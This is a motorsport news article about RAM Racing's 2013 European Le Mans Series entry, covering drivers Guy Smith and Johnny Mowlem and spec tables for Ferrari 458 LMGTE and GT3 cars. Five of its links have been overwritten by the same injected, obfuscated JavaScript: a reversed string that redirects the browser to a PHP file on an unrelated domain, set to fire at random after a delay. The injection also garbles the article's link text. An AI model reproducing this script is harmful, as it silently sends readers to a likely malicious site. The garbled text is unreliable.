It’s an all-British driver line-up for RAM Racing, with Guy Smith and Johnny Mowlem making a pretty handy combination. Smith, for example, has spent 12 years with the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/alms/” target=”_blank”>American Le Mans Series circus (you can’t count the wins on two hands) and even had time to win the Le Mans 24hrs for Bentley in 2003 with Audi’s prodigal son Dindo Capello and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/le-mans-24hrs-a-crankandpiston-pov/” target=”_blank”>Le Mans legend Tom Kristensen.
Mowlem meanwhile is a former British Porsche Cup Champion and has collected podiums at pretty much every endurance event going, plus category wins at $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/daytona-rolex-24-the-chequered-flag/” target=”_blank”>24 Hours of Daytona and the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/sebring-12-hrs-alms-wec-round-1-untouchable/” target=”_blank”>12 Hours of Sebring.
For 2013, RAM Racing will jump into the motorsport bear pit with a LMGTE 458 and a GT3 variant that will run selected rounds. Round one kicks off at Silverstone in April, so you’ll want to check out the ELMS homepage for ticket prices.
| Ferrari 458 Italia LMGTE | |
|---|---|
| Engine: | 4498 cc / V8 |
| Power: | 465 CV @ 6250 rpm |
| Torque: | 520 Nm @ 5750 rpm |
| Transmission: | Sequential six-speed gears / gearbox paddle shift pneumatic system / mechanical self?locking differential |
| Suspension: | Double steel wishbones (front) / multilink geometry, steel tubes (rear) / multimatic TSSV 5-way adjustable damper |
| Brakes: | Brembo / steel discs six pistons 380mm x 35mm (front) / steel discs four pistons 332mm x 32mm (rear) |
| Wheels: | 18in front and rear |
| Tyres: | 30/65 ? 18 325/650 ? 18 300/660 ? 18 (front) / 31/71 ? 18 325/705 ? 18 310/710 ? 18 / Michelin |
| Weight (kerb) | 1245kg |
| Ferrari 458 Italia GT3 | |
|---|---|
| Engine: | 4498 cc / V8 |
| Power: | 580 CV @ 9000 rpm |
| Torque: | 540 Nm @ 6000 rpm |
| Transmission: | Six-speed sequential / mechanical self?locking differential |
| Suspension: | Multimatic 2-way adjustable dampers / double wishbones (front) / multilink geometry (rear) |
| Brakes: | Brembo / steel discs six pistons 380mm x 35mm (front) / steel discs four pistons 332mm x 32mm (rear) |
| Wheels: | 18in front / 19in rear |
| Tyres: | 30/65 ? 18 (front) / 31/71 ? 19 (rear) / Michelin |
| Weight (kerb) | 1180kg |
– Shots courtesy of RAM Racing and GF Williams. Be sure to $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and there are a couple of reasons we sat up and took notice: FULL STORY: https://www.crankandpiston.com/on-the-track/ram-racing-european-le-mans-series-entering-the-bear-pit/ FULL GALLERY: https://www.crankandpiston.com/galleries/album/01/ram-racing-elms/” target=”_blank”>check out the full gallery HERE.
